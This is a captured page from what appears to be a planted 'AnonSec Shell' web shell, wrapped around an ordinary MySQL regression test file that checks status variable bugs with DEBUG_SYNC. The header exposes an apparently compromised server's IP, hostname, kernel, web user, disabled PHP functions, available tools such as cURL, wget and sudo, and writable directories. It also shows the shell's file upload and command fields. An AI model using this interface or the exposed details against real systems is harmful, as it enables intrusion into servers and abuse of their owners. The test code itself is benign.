AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/status_debug.test
#
--source include/have_debug_sync.inc
--source include/not_embedded.inc

# Save the initial number of concurrent sessions.
--source include/count_sessions.inc

--echo #
--echo # Bug#18591145 - SOME MONOTONICALLY INCREASING STATUS VARIABLES DECREASES UNEXPECTEDLY
--echo #

--enable_connect_log
show variables like "show_COMPATIBILITY_56";
let $compatibility_mode=`select @@global.show_compatibility_56`;

# Information Schema will work only server is running in 5.6 compatiability
# mode.  Else information_schema will return empty set.
set global SHOW_COMPATIBILITY_56 = 1;

CREATE TABLE t1 (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(64), val VARCHAR(1024));
--echo # Insert 1 tuple to increment com_insert status.
INSERT INTO t1(name, val) VALUES ('dummy', 0);

connect (con1, localhost, root,,);
SET DEBUG_SYNC='before_preparing_global_status_array SIGNAL change_user WAIT_FOR continue';
SET DEBUG_SYNC='after_preparing_global_status_array SIGNAL continue_change_user';
--SEND INSERT INTO t1(name, val) SELECT * FROM INFORMATION_SCHEMA.global_status WHERE variable_name='com_insert';

CONNECTION default;
SET DEBUG_SYNC='now WAIT_FOR change_user';
SET DEBUG_SYNC='thd_cleanup_start SIGNAL continue WAIT_FOR continue_change_user';
--change_user root,,test

CONNECTION con1;
--REAP

SET DEBUG_SYNC='RESET';
CONNECTION default;
INSERT INTO t1(name, val)
  SELECT * FROM INFORMATION_SCHEMA.global_status WHERE variable_name='com_insert';

--echo # With fix, difference of com_insert status should be "0" here.
SELECT (SELECT val FROM t1 WHERE id = 2) - (SELECT val FROM t1 WHERE id = 3);

--echo # Testing the same scenario with performance_schema.
# Make sure we are not running in 5.6 compatiability mode.  Else
# performance_schema will return empty set.
set global SHOW_COMPATIBILITY_56 = 0;
truncate t1;

--echo # Insert 1 tuple to increment com_insert status.
INSERT INTO t1(name, val) VALUES ('dummy', 0);

CONNECTION con1;
SET DEBUG_SYNC='before_materialize_global_status_array SIGNAL change_user WAIT_FOR continue';
SET DEBUG_SYNC='after_materialize_global_status_array SIGNAL continue_change_user';
--SEND INSERT INTO t1(name, val) SELECT * FROM performance_schema.global_status WHERE variable_name='Handler_commit';

CONNECTION default;
SET DEBUG_SYNC='now WAIT_FOR change_user';
SET DEBUG_SYNC='thd_cleanup_start SIGNAL continue WAIT_FOR continue_change_user';
--change_user root,,test

CONNECTION con1;
--REAP

SET DEBUG_SYNC='RESET';
CONNECTION default;
INSERT INTO t1(name, val) SELECT * FROM performance_schema.global_status WHERE variable_name='Handler_commit';

--echo # With fix, Handler_commit status should be 1 (select insert during switch user).
SELECT (SELECT val FROM t1 WHERE id = 3) - (SELECT val FROM t1 WHERE id = 2);

# Cleanup
eval set global SHOW_COMPATIBILITY_56=$compatibility_mode;
DISCONNECT con1;
DROP TABLE t1;

--disable_connect_log


--echo #
--echo # Bug#29836204:  P_S TABLE ACCESS HANGS WHILE IN LOCK TABLES MODE
--echo #

SET @saved_show_compatibility_56= @@global.show_compatibility_56;
--echo # Ensures that the P_S is used for the SHOW command.
SET GLOBAL show_compatibility_56= OFF;
CREATE TABLE t1(fld1 int) ENGINE=MYISAM;
LOCK TABLE t1 WRITE;
ALTER TABLE t1 DISABLE KEYS;

--echo # Without patch, the SHOW command hangs.
SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS';

--echo # Wihout patch, the SELECT from P_S hangs.
SELECT * FROM performance_schema.global_variables WHERE variable_name="read_only";

--echo # Test added for coverage (Querying from I_S)
SET GLOBAL show_compatibility_56= @saved_show_compatibility_56;
SHOW SESSION VARIABLES LIKE 'FOREIGN_KEY_CHECKS';

--echo # Clean up.
UNLOCK TABLES;
DROP TABLE t1;


# Wait till we reached the initial number of concurrent sessions
--source include/wait_until_count_sessions.inc

Anon7 - 2022
AnonSec Team